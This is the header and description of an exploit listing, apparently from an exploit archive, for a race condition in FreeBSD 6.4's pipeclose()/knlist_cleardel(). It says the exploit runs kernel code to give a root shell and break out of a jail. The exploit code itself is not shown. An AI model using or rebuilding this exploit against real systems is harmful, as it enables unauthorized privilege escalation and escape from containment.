FreeBSD 6.4 pipeclose()/knlist_cleardel() Race Condition
Posted Oct 8, 2009
Authored by Przemyslaw Frasunek

FreeBSD version 6.4 pipeclose()/knlist_cleardel() race condition exploit that results in a NULL pointer dereference and runs code in kernel mode giving a root shell and escaping from jail.

#if 0
FreeBSD 6.4 and below are vulnerable to race condition between pipeclose() and
knlist_cleardel() resulting in NULL pointer dereference. The following code
exploits vulnerability to run code in kernel mode, giving root shell and
escaping from jail.
